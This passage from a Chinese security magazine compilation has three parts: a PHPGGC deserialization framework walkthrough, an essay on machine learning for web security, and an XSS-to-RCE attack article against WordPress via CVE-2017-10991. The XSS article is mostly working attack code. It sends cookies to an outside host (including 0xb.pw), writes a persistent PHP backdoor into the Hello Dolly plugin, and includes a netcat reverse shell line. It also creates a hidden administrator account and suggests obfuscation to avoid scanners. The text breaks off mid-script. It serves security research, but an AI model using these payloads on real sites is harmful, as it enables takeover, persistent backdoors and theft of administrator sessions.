关于该测试框架的一点简单的分析 

1. 目录结构 

目录结构为下 : 

|- phpggc  

|-- gadgetchains    // 相应框架存在漏洞的类以及漏洞利用代码 

|-- lib             // 框架调度及核心代码 

|-- phpggc          // 入口 

|-- README.md 

2. 框架运行流程 

首先，入口文件为 phpggc，直接跟进 lib/PHPGGC.php 框架核心文件。 

在__construct 中完成了当前文件完整路径的获取，以及定义自动加载函数，以实现对于

下面的类的实例化操作。 

关键的操作为 : 

$this->gadgets = $this->get_gadget_chains(); 

 

可以跟进代码看一看，其完成了对于所有 payload 的加载及保存，将所有的 payload 进

行实例化，并保存在一个全局数组中，以方便调用。 

可以动态跟进，看一下 : 

public function get_gadget_chains() 
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    { 

        $this->include_gadget_chains(); 

        $classes = get_declared_classes(); 

        $classes = array_filter($classes, function($class) 

        { 

            return is_subclass_of($class, '\\PHPGGC\\GadgetChain') && 

                   strpos($class, 'GadgetChain\\') === 0; 

        }); 

        $objects = array_map(function($class) 

        { 

            return new $class(); 

        }, $classes); 

        # Convert backslashes in classes names to forward slashes, 

        # so that the command line is easier to use 

        $classes = array_map(function($class) 

        { 

            return strtolower(str_replace('\\', '/', $class)); 

        }, $classes); 

        return array_combine($classes, $objects); 

    } 

 

跟进 include_gadget_chains 方法中看一下 : 

protected function include_gadget_chains() 

    { 

        $base = $this->base . self::DIR_GADGETCHAINS; 

        $files = glob($base . '/*/*/*/chain.php'); 

        array_map(function ($file) 

        { 

            include_once $file; 

        }, $files); 

    } 

在这边首先获取到当前路径，之后从根目录将其下子目录中的所有 chain.php 遍历一下，

将其路劲存储到$files 数组中。接着将数组中的所有 chain.php 包含一遍，保证之后的调用。 

回到 get_gadget_chains 接着向下看，将返回所有已定义类的名字所组成的数组，将其

定义为$classes，接着将是 PHPGGC\GadgetChain 子类的类，全部筛选出来（也就是将所
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有的 payload 筛选出来），并将其实例化，在其完成格式化后，返回一个由其名与实例化后的

类所组成的键值数组。 

到此，完成了最基本框架加载与类的实例化准备。 

跟着运行流程，看到 generate 方法 : 

public function generate() 

    { 

        global $argv; 

        $parameters = $this->parse_cmdline($argv); 

        if(count($parameters) < 1) 

        { 

            $this->help(); 

            return; 

        } 

        $class = array_shift($parameters); 

        $gc = $this->get_gadget_chain($class); 

        $parameters = $this->get_type_parameters($gc, $parameters); 

        $generated = $this->serialize($gc, $parameters); 

        print($generated . "\n"); 

    } 

代码很简单，一步一步跟着看，首先 parse_cmdline 完成了对于所选模块及附加参数的

解析。 

接下来 array_shift 完成的操作就是将我们所选的模块从数组中抛出来。 

举个例子，比如我们输入如下 : 

$ ./phpggc monolog/rce1 'phpinfo();' 

当前的$class 为 monolog/rce1，看到接下来进入了 get_gadget_chain 方法中，带着我

们参数跟进去看 。 

public function get_gadget_chain($class) 

    { 

        $full = strtolower('GadgetChain/' . $class); 

        if(!in_array($full, array_keys($this->gadgets))) 

        { 

            throw new PHPGGC\Exception('Unknown gadget chain: ' . $class); 

        } 

        return $this->gadgets[$full]; 
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    } 

现在的$full 为 gadgetchain/monolog/rce1，ok，看一下我们全局存储的具有 payload

的数组： 

 

可以很清楚的看到，返回了一个已经实例化完成的 GadgetChain\Monolog\RCE1 的类。

对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php 

继续向下，看到将类与参数传入了 get_type_parameters，跟进 : 

protected function get_type_parameters($gc, $parameters) 

    { 

        $arguments = $gc->parameters; 

        $values = @array_combine($arguments, $parameters); 

        if($values === false) 

        { 

            $this->o($gc, 2); 

            $arguments = array_map(function ($a) { 

                return '<' . $a . '>'; 

            }, $arguments); 

            $message = 'Invalid arguments for type "' . $gc->type . '" ' . "\n" . 

                       $this->_get_command_line($gc->get_name(), ...$arguments); 

            throw new PHPGGC\Exception($message); 

        } 

        return $values; 

    } 
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其完成的操作对你想要执行或者写入的代码进行装配，即 code 标志位与你输入的 RCE

代码进行键值匹配。若未填写代码，则返回错误，成功则返回相应的数组以便进行 payload

的序列化。 

看完了这个模块后，再看我们最后的一个模块：将 RCE 代码进行序列化，完成 payload

的生成 : 

public function serialize($gc, $parameters) 

    { 

        $gc->load_gadgets(); 

        $parameters = $gc->pre_process($parameters); 

        $payload = $gc->generate($parameters); 

        $payload = $this->wrap($payload); 

        $serialized = serialize($payload); 

        $serialized = $gc->post_process($serialized); 

        $serialized = $this->apply_filters($serialized); 

        return $serialized; 

    } 

 

0x07 结语 

关于 PHP（反）序列化漏洞的触发和利用所涉及的东西还有很多，本文只是做一个概括

性的描述，抛砖引玉，如有不精确的地方，望大家给予更正。 

0x08 参考资料 

Practical PHP Object Injection 

SugarCRM 6.5.23 - REST PHP Object Injection 漏洞分析 

CVE-2016-7124 

PHPGGC 

关于 PHP 中的自动加载类 

Phith0n 小密圈的主题 
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AI 重新定义 Web 安全 

作者：丛磊，白山合伙人兼工程副总裁 

原文来源：http://geek.csdn.net/news/detail/239193  

云给安全带来的影响 

距离 2006 年 Amazon 发布 EC2 服务已经过去了 11 年，在这 11 年里，发生的不仅仅是

AWS 收入从几十万美金上涨到 100 多亿美金，更重要的是云计算已经走进每一家企业。根据

信通院发布的“2016 云计算白皮书”，目前近 90%的企业都已经开始使用云计算（包括公有

云、私有云等），这说明大规模云化对于企业而言已经不只是趋势，更是确凿的既成事实。 

云化普及的同时也给安全带来很多挑战，主要包括： 

云化导致以硬件设备为主的传统安全方式失效。我在跟企业交流时，不止一家企业提出了

这样的担心：在上公有云的过程中，因为无法把已购买的硬件防护搬到云上，所以非常担心业

务安全性。有趣的是，他们对于上云后的流量层攻击反倒不担心，因为他们认为云上的高防 IP

等产品可以解决大部分问题。云化导致了业务层的安全空白，这不仅发生在公有云环境，在私

有云环境也时有发生，以 OpenStack Icehouse 版本为例，至今仍缺少能够有效横向扩展的

Web 安全组件。 

云化导致攻击/作恶成本大大降低。云是 IT 领域里“共享经济”的再升级，从最早的 IDC

租用升级进化到Linux kernel namespace租用，但这种“共享经济”在给企业带来成本降低、

使用便利等益处的同时，也顺便给攻击者带来了同样的好处。按目前市场行情，攻击者租用一

个公网弹性 IP 的成本可低至 1 元/天，租用一个 IaaS 平台的 hypervisor 层的计算环境，每日

成本也只有几元，如果是 container 层的计算环境，成本还要更低。如此低的成本，致使攻击

者不再像过去那样花大力气挖掘培养肉机，而是可以在瞬间轻松拥有用于攻击的计算网络资源。

以白山服务的某著名互联网招聘领域客户为例，攻击者最多可以在一天内动用上万个 IP 以极

低的频率爬取核心用户简历。 

云化导致业务可控性降低，遭遇攻击的风险大大提高。实际上云客观造成了业务的复杂性

和不可控性：大量自身或合作方的业务都跑在同一个云上，其中任何一个业务被攻击，都有可

能对其他部分造成影响。不可否认，现有的 hypervisor 隔离技术很成熟，以 CPU 为例，通过

计算时间片分配进而在执行指令间插入各种自旋锁可以精确控制执行体的 CPU 分配，其他资

http://geek.csdn.net/news/detail/239193
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源包括内存、IO 也都可以恰当的控制。但在所有资源里，隔离性最脆弱的就是网络，尤其是

公网，毕竟 NAT 出口、域名等很难被隔离。 

所以，我们不得不面对这样的现实：在享受云计算时代红利的同时，面临的业务层安全问

题也越来越严重。 

安全产品需要变革 

遗憾的是，很多传统安全产品并没有跟上这个时代。最明显的例子，15 年前的防火墙就

依靠着在命令行设定各种各样的 policy 工作；而 15 年后的今天，一切的变化只是由命令行设

定 policy 变成了界面设置 policy，这不得不说是一种悲哀！ 

 

对于传统安全产品，设定 policy 是一种痛苦 

我曾经听某著名安全厂商的布道师演讲，“买了我们的产品不代表你的业务就安全了，你

必须学会怎么配置！”，这话听起来有道理，但遗憾的是，大多数公司的安全人员并不是公司

的业务开发者，他们不知道业务页面应该从哪个 referer 过来、不应该接受哪个 user-agent

的请求，也不知道某个接口应该接受哪些参数，甚至不知道业务对于单个用户的合理访问频率

区间。更遗憾的是，这些传统安全产品价值不菲，在你花了上百万银子后，很可能毫无作用，

而最悲哀之处在于“你以为它在起作用！” 
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传统的安全产品因为必须要串接到业务中间，这带来了极大的不稳定性。虽然某些先进的

硬件机制可以通过技术降低这个风险，但仍不可避免的是：串接会带来性能延迟+带宽瓶颈。

有些企业一开始购买了 100Mbps 吞吐量的硬件安全产品，但当业务突增时，硬件却无法自由

横向扩容。更麻烦的是，串行模式一旦分析的维度变得复杂（如策略变多时），就注定会造成

业务的访问延迟；而分析维度一旦少，如退化为只做固定时间内访问频率限制，又会造成识别

错误率上升。这是传统安全产品无法解决的永恒矛盾体。 

不幸的是，虽然传统安全产品存在诸多问题，但很多用户仍在默默忍受，甚至习惯了每天

配置策略的工作。但这并不意味着合理。 

在不便中，一直蕴藏着技术革新的机会！这时，机器学习来了！ 

机器学习是解决安全问题的金钥匙 

 

机器学习发展史 

机器学习其实早已到来。由上图中可以看出，目前大红大紫的深度学习，其源头-神经网

络，早在上世纪 70 年代就已经被提出。从上世纪 80 年代到本世纪，机器学习本身经历了几

次平淡期和爆发期，随着大数据的发展和一些热点事件（如 AlphaGo 战胜李世石）机器学习

又一次进入爆发期。 
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那么大数据和机器学习具有什么关系呢？这还要和深度学习挂钩，从理论上讲，深度学习

本质上是利用多层的神经网络计算，代替传统特征工程的特征选取，从而达到媲美甚至超越传

统特征工程进行分类算法的效果。基于这个逻辑，当标注样本足够多时（即所谓“大数据”），

通过深度学习就可以构造出非常强大的分类器，如判断一个围棋的棋局对哪方有利。 

AI 随着目前深度学习的火爆看似非常强大，但不幸的是，坦白讲目前 AI 的发展成熟度远

没有达到可以取代人脑抑或接近人脑的水平。根据图灵测试理论，AI 本身要解决的问题无外

乎：识别、理解、反馈。 

这三个问题逐步递进，真正智能的机器人最终可以跟人脑一样反馈，从而在图灵测试中无

法区分它是人还是机器。 

按当前 AI 发展情况，“识别”的进展目前效果最好，无论是图像、语音还是视频，目前

很多厂商都可以做到很高的识别率；但“理解”就差强人意了，大家都用过苹果的 Siri，它还

未能达到与人真正对话的程度；而反馈就更难了，这要求在理解的基础上不断地应变，同一个

问题可能因对方身份、心情、交流场合不同，以不同的语气语调做出不同反应。 

所以，目前应用机器学习效果非常好的领域，几乎都是某个特定领域内的识别问题，并非

通用领域，如人脸识别、人机对弈（人机对弈本质上也是某个棋种领域的识别问题：机器通过

学习成千上万的棋局后，就可以自动识别某一棋局在一方走的情况下对谁有利。） 

非常幸运的是，安全领域中问题大多是特定场景下的识别问题，而非通用场景，也并未涉

及理解和反馈，你只需要把相关数据交给机器学习系统，让它做出识别判断即可：安全或者不

安全，不安全的原因。 

正因为安全问题本质是特定领域内的识别问题，所以从理论上讲，机器学习非常适合应用

在安全领域，是解决安全问题的金钥匙。 

安全结合机器学习的难点 

虽然机器学习早已存在，但是长久以来并未改变安全市场，以“土办法（设定策略）”立

足的产品仍旧占据主导地位，究其原因，主要有以下几点： 

1.不同于其他通用领域，安全领域的样本标注成本较高。对于机器学习而言，拥有海量、

完整、客观、准确的标注样本异常重要，标注样本越多、越全面，训练出来的分类器才可能越

准确。对于所有行业来讲，获取样本（标注样本）都并不容易，而安全领域尤为困难。如对人
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脸识别的标注，初中生甚至小学生就可以完成，但对于一次安全的威胁事件，就需要极具经验

的安全人员才可以完成，两者的成本差距十分巨大。 

 

 某个注入攻击 

如上图所示，这个注入攻击经多次复杂编码，非专业人事很难进行样本标注。所以目前在

通用场景下，之所以安全领域中深度学习落地并不多，主要原因也是很难获取海量的标注数据。 

2. 不同于通用领域，安全领域的场景特点更加明显，判断攻击的标准会随着业务特点的

不同而不同。以最简单的 CC 攻击为例，600 次/ 分钟的访问对于某些企业可能意味着破坏性

攻击，但对其它企业则属于正常访问范围。所以，即便有大量的标注样本，某一企业的标注样

本可能对于其他企业毫无用处，这也是导致安全领域应用机器学习较为困难的另一个重要原因。 

3. 针对传统的文本型攻击，传统思维认为简单的特征工程，甚至直接的正则匹配更有效。 

我们把 Web 攻击分为行为型攻击和文本型攻击两类： 

行为型攻击：每个请求看起来都是正常的，但将其连接成请求走势图时，就会发现问题，

如爬虫、撞库、刷单、薅羊毛等。以刷粉行为为例：每个请求看起来都是正常的，但攻击者可

能动用大量 IP 在短时间内注册大量账号，并关注同一个用户。只有我们把这些行为连接起来

一起分析时，才能发现问题。 

文本型攻击：传统的漏洞类攻击，如 SQL 注入、命令注入、XSS 攻击等，单纯的把一个

请求看成是一段文本，通过文本的特征即可识别其是否为攻击。 

当特征的维度空间较低，且有些维度的区分度很高时，通过简单的线性分类器，就可以实

现不错的准确率，例如我们简单的制定一些 SQL 注入的正则规则，也可以适用于很多场景。

但是，这样的传统思维却忽略了召回率问题，实际上也很少有人知道，通过 SQL 注入的正则

规则，可以达到多少的召回率。同时，在某些场景，假如业务的正常接口通过 JSON 传递 SQL

语句，那么这种基于正则规则的分类器就会产生极高的误判。 

然而传统安全厂商还尚未意识到这些问题。 

4. 传统安全人员并不了解机器学习。这是一个不争的事实，大量传统安全公司的安全人

员精于构造各种漏洞探测、挖掘各种边界条件绕过，善于制定一个又一个的补丁策略，却并不

擅长 AI 机器学习方面的内容，这也说明了这种跨界人才的稀缺和重要。 
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正是由于以上原因，AI 智能的安全产品迟迟没有出现，但没人可以否认，用户其实早已

厌倦 policy 驱动的规则模式，期待有一种可以适应大多数场景、能够针对行为或文本做深入

分析、不需要复杂配置就可以达到高准确率和召回率的 Web 安全产品。 

于是，我们用 AI 重新定义 Web 安全，因为我们坚信异常行为和正常行为可以通过特征

识别被区分。 

用 AI 重新定义 Web 安全 

那如何解决安全领域的样本标注问题呢？机器学习分为两大类：监督学习和无监督学习。

监督学习要求有精准的标注样本；而无监督学习则无需标注样本，即可以针对特征空间进行聚

类计算。在标注困难的安全领域，显然无监督学习是一把利器。 

应用无监督学习 

无监督学习无需事先准备大量标注样本，通过特征聚类就可以将正常用户和异常用户区分

开，从而避免大量样本标注的难题。聚类的方式有很多，如距离聚类、密度聚类等，但其核心

仍是计算两个特征向量的距离。在 Web 安全领域，我们获得的数据往往是用户的 HTTP 流量

或 HTTP 日志，在做距离计算时，可能会遇到一个问题：每个维度的计算粒度不一样，如两

个用户的向量空间里 HTTP 200 返回码比例的距离是两个 float 值的计算，而 request length

的距离则是两个 int 值的计算，这就涉及粒度统一归一化的问题。在这方面有很多技巧，比如

可以使用 Mahalanobis 距离来代替传统的欧式距离，Mahalanobis 距离的本质是通过标准差

来约束数值，当标准差大时，说明样本的随机性大，则降低数值的权值，反之，当标准差小的

时候，说明样本具有相当的规律性，则提高数值的权值。 

无监督的聚类可以利用 EM 计算模型，可以把类别、簇数或者轮廓系数（Silhouette 

Coefficient）看成 EM 计算模型中的隐变量，然后不断迭代计算来逼近最佳结果。最终我们

会发现，正常用户和异常聚成不同的簇，之后就可以进行后续处理了。当然，这只是理想情况，

更多情况下是正常行为与异常行为分别聚成了很多簇，甚至还有一些簇混杂着正常和异常行为，

那么这时就还需要额外技巧处理。 

学习规律 

无监督聚类的前提是基于用户的访问行为构建的向量空间，向量空间类似： 

[key1:value1,key2:value2,key3:value3...] 

这里就涉及两个问题：“如何找到 key”以及“如何确定 value”。 
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 找到合适的 key 本质是特征选择问题，如何从众多的特征维度中，选择最具有区分度和

代表性的维度。为什么不像某些 DeepLearning 一样，将所有特征一起计算？这主要是考虑

到计算的复杂度。请注意：特征选择并不等同于特征降维，我们常用的 PCA 主成分和 SVD 分

解只是特征降维，本质上 DeepLearning 的前几层某种意义上也是一种特征降维。 

特征选择的方法可以根据实际情况进行。实验表明在有正反标注样本的情况下，随机森林

是一个不错的选择。如果标注样本较少或本身样本有问题，也可以使用 Pearson 距离来挑选

特征。 

最终，用户的访问行为会变成一组特征，那特征的 value 如何确定？以最重要的特征——

访问频率为例，多高的访问频率值得我们关注？这需要我们对于每个业务场景进行学习，才能

确定这些 key 的 value。 

学习的规律主要包括两大类： 

1. 行为规律：自动找出路径的关键点，根据状态转移概率矩阵，基于 PageRank 的 power 

method 计算原理，网站路径的状态转移矩阵的最大特征值代表的就是其关键路径（关键汇聚

点和关键发散点），然后顺着关键点，就可以学习到用户的路径访问规律。 

2. 文本规律：对于 API，可以学习出其输入输出规律，如输入参数数量、每个参数的类

型（字符串 or 数字 or 邮箱地址等）、参数长度分布情况，任何一个维度都会被学习出其概率

分布函数，然后就可以根据该函数计算其在群体中的比例。即便是最不确定的随机分布，利用

切比雪夫理论也可以告诉我们这些值异常。例如：假如 GET /login.php?username=中的

username 参数，经过统计计算得出平均长度是 10，标准差是 2，如果有一个用户输入的

username 长度是 20，那么该用户的输入在整体里就属于占比小于 5%群体的小众行为。 

通过特征选择和行为、文本规律学习，我们就可以构建出一套完整且准确的特征空间将用

户的访问向量化，进而进行无监督学习。 

让系统越来越聪明 

如果一个系统没有人的参与，是无法变得越来越聪明的，强大如 AlphaGo 也需要在同人

类高手对弈中不断强化自己。在安全领域，虽然完全的样本标注不可能，但是我们可以利用半

监督学习的原理，挑选具有代表性的行为交给专业的安全人员判断，经过评定校正，整个系统

会越发聪明。安全人员的校正可以与强化学习和集成学习结合实现，对于算法判断准确的情况，

可以加大参数权重，反之则可以适当减少。 
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类似的想法出现于国际人工智能顶级会议 CVPR 2016 的最佳论文之一，“AI2: Training a 

big data machine to defend”，MIT 的 startup 团队，提出了基于半监督学习的 AI2 系统，

可以在有限人工参与的情况下，让安全系统更安全更智能。 

重新定义 Web 安全 

基于上述几点，我们基本可以勾勒出基于 AI 的 Web 安全的基本要素： 

 

AI Web 安全技术栈 
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从图中可以看到，所有算法均包含在实时计算框架内。实时计算框架要求数据流的输入、

计算、输出都是实时的，这样才可以保证在威胁事件发生时系统迅速做出反应。但是，实时计

算的要求也增加了很多挑战和难点，一些传统离线模式下不是问题的问题，在实时计算下会突

然变成难题。如最简单的中位数计算，要设计一套在实时流输入的情况下同时还能保证准确性

的中位数算法并不容易，T-digest 是一个不错的选择，可以限定在 O(K)的内存使用空间。还

有一些算法可以实现在 O(1)内存占用的情况下计算相对准确的中位数。 

综上所述，我们可以看出利用 AI 实现 Web 安全是一个必然的趋势，它可以颠覆传统基

于 policy 配置模式的安全产品，实现准确全面的威胁识别。但是，构造基于 AI 的安全产品本

身也是一个复杂的工程，它涉及特征工程、算法设计和验证，以及稳定可靠的工程实现。 

 

 

ATD 深度威胁识别系统 

欢迎对本篇文章感兴趣的同学扫描白山云公众号二维码，一起交流学习 
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从瑞士军刀到变形金刚--XSS 攻击面拓展 

作者：lorexxar 

原文来源：【阿里云先知】https://xianzhi.aliyun.com/forum/read/1988.html?fpage=4 

引子 

前段时间我阅读了 Sucuri Security 的 brutelogic 的一篇博客以及 ppt，对 xss 有了一些

新的理解。 

在我们真实场景下遇到 xss 漏洞的时候，我们常常会使用 ：  

<script>alert(1)</script> 

来验证站点是否存在漏洞（PoC），为了不触及敏感信息，我们往往不会深入研究 XSS 的

危害程度，很多人都只知道 Cross-Site Scripting（XSS）可以窃取 cookie，模拟 admin 请

求，但事实上在复杂环境下，我们可以使用 XSS 完成复杂的攻击链。 

测试环境 

Wordpress v4.8.0(默认配置) 

UpdraftPlus v1.13.4 

Yoast SEO v5.1 

WP Statistics v12.0.9 

以下的所有研究会围绕 Wordpress 的 WP Statistics 爆出的一个后台反射性

xss(CVE-2017-10991)作为基础。 

漏洞详情： 

当 Wordpress 的站点装有版本小于等于 v12.0.9 的 WP Statistics 插件时，其中

top-referring.php 页面中的 rangestart 和 rangeend 参数没有经过任何过滤就输出在页面内，

形成了一个 xss 漏洞。 

POC: 

在 Firefox 浏览器中点击以下链接,就会执行函数 alert(1)函数 ：  

http://mywordpress.com/wp-admin/admin.php?page=wps_referrers_page&rangeend=123123"><script>alert(1)<

/script> 

什么是 XSS？ 
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Cross-site scripting（XSS）是一种 Web 端的漏洞，它允许攻击者通过注入 html 标签

以及 JavaScript 代码进入页面，当用户访问页面时，浏览器就会解析页面，执行相应的恶意

代码。 

一般来说，我们通常使用 XSS 漏洞来窃取用户的 Cookie，在 httponly 的站点中，也可

能会使用 XSS 获取用户敏感信息。 

我们从一段简单的 php 包含 xss 漏洞的 demo 代码来简单介绍下 XSS 漏洞 ：  

<?php 

$username = $_GET['user']; 

echo "Hello, $username"; 

当我们传入普通的 username 时候，返回是这样的 

 

当我们插入一些恶意代码的时候 

 

我们插入的<script>alert(1)</script>被当作正常的 js 代码执行了 

让我们回到之前的测试环境中 
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我们可以通过一个漏洞点执行我们想要的 js 代码。 

盗取 Cookie 

在一般的通用 cms 下呢，为了通用模板的兼容性，cms 本身不会使用 CSP 等其他手段来

防护 xss 漏洞，而是使用自建的过滤函数来处理，在这种情况下，一旦出现 xss 漏洞，我们就

可以直接使用 xhr 来传输 cookie。 

简单的 demo 如下 ：  

<script> 

var xml = new XMLHttpRequest();  

xml.open('POST', 'http://xxxx', true);  

xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 

xml.send('cookie='+document.cookie) 

</script> 

这里我们可以直接使用 xhr 来传递 cookie，但可惜的是，由于 wordpress 的身份验证

cookie 是 httponly，我们无法使用简单的 documen.cookie 来获取 cookie。 

 

但无情的是，我们可以通过和别的问题配合来解决这个问题。在这之前，我们先来回顾一

种在 brutelogic 的 ppt 中提到的 xss2rce 的利用方式。 

通过这其中的思路，我们可以在整个 wordpress 站点中执行我们想要的任何攻击。 

Xss to Rce 
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在 wordpress 的后台，有一个编辑插件的功能，通过这个功能，我们可以直接修改后台

插件文件夹的任何内容。 

而在默认下载的 Wordpress 中，都会包含 Hello Dolly 插件，通过修改这个插件内容并

启动插件，我们可以执行想要的任何代码。 

但在这之前，我们首先要了解一下，wordpress 关于 csrf 的防御机制，在 wordpress 中

引入了_wpnonce 作为判断请求来源的参数。 

在一般涉及到修改更新等操作的时候，会调用 check_admin_referer()函数来判断传入的

wpnonce 是否和该操作计算的 nonce 值相等，后台部分代码如下 ：  

function wp_verify_nonce( $nonce, $action = -1 ) { 

    $nonce = (string) $nonce; 

    $user = wp_get_current_user(); 

    $uid = (int) $user->ID; 

    if ( ! $uid ) { 

        /** 

         * Filters whether the user who generated the nonce is logged out. 

         * 

         * @since 3.5.0 

         * 

         * @param int    $uid    ID of the nonce-owning user. 

         * @param string $action The nonce action. 

         */ 

        $uid = apply_filters( 'nonce_user_logged_out', $uid, $action ); 

    } 

 

    if ( empty( $nonce ) ) { 

        return false; 

    } 

 

    $token = wp_get_session_token(); 

    $i = wp_nonce_tick(); 

 

    // Nonce generated 0-12 hours ago 

    $expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 ); 

    if ( hash_equals( $expected, $nonce ) ) { 

        return 1; 
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    } 

 

    // Nonce generated 12-24 hours ago 

    $expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 ); 

    if ( hash_equals( $expected, $nonce ) ) { 

        return 2; 

    } 

这其中 i 参数固定，action 参数为不同操作的函数名，uid 为当前用户的 id，token 为当

前用户 cookie 中的第三部分。 

也就是说，即便不方便读取，我们也可以使用直接计算的方式来获得 wpnonce 的值，完

成攻击。 

这里我们使用从页面中读取 wpnonce 的方式，nonce 在页面中是这样的 ：  

<input type="hidden" id="_wpnonce" name="_wpnonce" value="00b19dcb1a" /> 

代码如下 ：  

url = window.location.href; 

url = url.split('wp-admin')[0]; 

p = 'wp-admin/plugin-editor.php?'; 

q = 'file=hello.php'; 

s = '<?php phpinfo();?>'; 

 

a = new XMLHttpRequest(); 

a.open('GET', url+p+q, 0); 

a.send(); 

 

ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] + 

'&newcontent=' + s + '&action=update&file=hello.php'; 

 

b = new XMLHttpRequest(); 

b.open('POST', url+p+q, 1); 

b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 

b.send(ss); 

通过这段 js，我们可以向 hello.php 写入 php code ：  

http://127.0.0.1/wordpress4.8/wp-content/plugins/hello.php 
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getshell，如果服务端权限没有做设置，我们可以直接 system 弹一个 shell 回来，导致

严重的命令执行 ：  

s = '<?=`nc localhost 5855 -e /bin/bash`;'; 

正如 XSS 漏洞存在的意义，getshell 或者 rce 本身都很难替代 xss 所能达到的效果，我

们可以配合 php 的代码执行，来继续拓展 xss 的攻击面。 

xss 的前端攻击 

在 wordpress 中，对用户的权限有着严格的分级，我们可以构造请求来添加管理员权限

的账号，用更隐秘的方式来控制整个站点。 

poc ：  

url = window.location.href; 

url = url.split('wp-admin')[0]; 

p = 'wp-admin/user-new.php'; 

user = 'ddog'; 

pass = 'ddog'; 

email = '[email]ddog@ddog.com[/email]'; 

 

a = new XMLHttpRequest(); 

a.open('GET', url+p, 0); 

a.send(); 

 

ss = '_wpnonce_create-user=' + /nonce_create-user" value="([^"]*?)"/.exec(a.responseText)[1] + 

'&action=createuser&email='+email+'&pass1='+pass+'&pass1-text='+pass+'&pass2='+pass+'&pw_weak=on&rol

e=administrator&user_login='+user; 

 

b = new XMLHttpRequest(); 

b.open('POST', url+p, 1); 

b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
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b.send(ss); 

后台已经被添加了新的管理员账号 

 

但即便是我们通过添加新的管理员账号获取了网站的管理员权限，我们还是不可避免的留

下了攻击痕迹，但其实我们通过更隐秘的方式获取 admin 账号的 cookie。 

还记得上文中提到的 php 代码执行吗，利用注入页面的 phpinfo，我们可以获取 httponly

的 cookie。 

 

当然，我们仍然需要构造连接整个攻击过程的 js 代码 ：  

// 写入 phpinfo 

url = window.location.href; 

url = url.split('wp-admin')[0]; 

p = 'wp-admin/plugin-editor.php?'; 

q = 'file=hello.php'; 

s = '<?php phpinfo();?>'; 

 

a = new XMLHttpRequest(); 

a.open('GET', url+p+q, 0); 

a.send(); 

 

ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] + 

'&newcontent=' + s + '&action=update&file=hello.php'; 

 

b = new XMLHttpRequest(); 

b.open('POST', url+p+q, 1); 

b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 

b.send(ss); 

 

// 请求 phpinfo 

b.onreadystatechange = function(){ 
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   if (this.readyState == 4) { 

          p_url = url + 'wp-content/plugins/hello.php'; 

 

        c = new XMLHttpRequest(); 

        c.open('GET', p_url, 0); 

        c.send(); 

 

        sss = /HTTP_COOKIE <\/td><td class="v">[\w=;% \-\+\s]+<\/td/.exec(c.responseText) 

 

        // 将获取到的 cookie 传出 

        var d = new XMLHttpRequest();  

        d.open('POST', 'http://xxx', true);  

        d.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 

        d.send('cookie='+sss) 

   } 

} 

 

成功收到了来自目标的 cookie。 

虽然我们成功的收到了目标的 cookie，但是这个 cookie 可能在一段时间之后就无效了，

那么怎么能把这样的一个后门转化为持久的攻击呢。这里我还是建议使用 hello holly 这个插

件。 

这个插件本身是一个非常特殊的插件，在启用情况下，这个插件会被各个页面所包含，但

细心的朋友可能会发现，在前面的攻击过程中，由于我们不遵守插件的页面格式，页面内容被

替换为<?php phpinfo();?>的过程中，也同样的不被识别为插件，我们需要将页面修改为需

要的页面格式，并插入我们想要的代码。 

当 hello.php 为这样时，应该是最简页面内容 ：  

<?php 

/* 

Plugin Name: Hello Dolly 

Version: 1.6 

*/ 

那么我们来构造完整的攻击请求 



  安全客-2017 年季刊-第 3 期 

—410— 
 

1、构造 xss 攻击链接->管理员点击->修改插件目录的 hello.php->启动 hello, holly 插

件->访问首页->触发攻击 

2、hello.php 页面直接获取 cookie 发出。 

hello.php ：  

<?php 

/* 

Plugin Name: Hello Dolly 

Version: 1.6 

*/ 

?> 

<script> 

var d = new XMLHttpRequest();  

d.open('POST', 'http://xxx', true);  

d.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 

d.send('cookie=<?php echo urlencode(implode('#', $_COOKIE))?>'); 

</script> 

这部分的代码看似简单，实际上还有很大的优化空间，就比如： 

1、优化执行条件：通过和远控（xss 平台）交互，获取时间戳，和本地时间做对比，果

时间不符合要求不执行，避免管理员在后台的多次访问导致 xss 平台爆炸。 

2、通过代码混淆等方式，将代码混淆入原本的代码中，避免安全类防御工具在站内扫面

时发现此页面。 

这里我就不做深究了，完整的写入 poc 如下 ：  

// 写入后门 

url = window.location.href; 

url = url.split('wp-admin')[0]; 

p = 'wp-admin/plugin-editor.php?'; 

q = 'file=hello.php'; 

s = 

'<%3Fphp%0A%2f%2a%0APlugin%20Name%3A%20Hello%20Dolly%0AVersion%3A%201.6%0A%2a%2f%0A%3F>

%0A<script>%0Avar%20d%20%3D%20new%20XMLHttpRequest%28%29%3B%20%0Ad.open%28%27POST%27

%2C%20%27http%3A%2f%2f0xb.pw%27%2C%20true%29%3B%20%0Ad.setRequestHeader%28%22Content-typ

e%22%2C%22application%2fx-www-form-urlencoded%22%29%3B%0Ad.send%28%27cookie%3D<%3Fphp%20e

cho%20urlencode%28implode%28%27%23%27%2C%20%24_COOKIE%29%29%3F>%27%29%3B%0A<%2fscript>

'; 
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a = new XMLHttpRequest(); 

a.open('GET', url+p+q, 0); 

a.send(); 

 

ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] + 

'&newcontent=' + s + '&action=update&file=hello.php'; 

 

b = new XMLHttpRequest(); 

b.open('POST', url+p+q, 1); 

b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 

b.send(ss); 

 

// 开启插件 

b.onreadystatechange = function(){ 

    if (this.readyState == 4) { 

        // 解开启插件的请求回来 

        c = new XMLHttpRequest(); 

        c.open('GET', url+'wp-admin/plugins.php', 0); 

        c.send(); 

 

        sss = /(data-plugin="hello.php)[\w\s"\'<>=\-选择你好多莉\/[\].?&;]+/.exec(c.responseText); 

        sss = /plugins.php([\w.?=&;]+)/.exec(sss)[0]; 

        sss = sss.replace(/&/gi, '&') 

         

        // 开启插件 

        d = new XMLHttpRequest(); 

        d.open('GET', url+'wp-admin/'+sss, 0); 
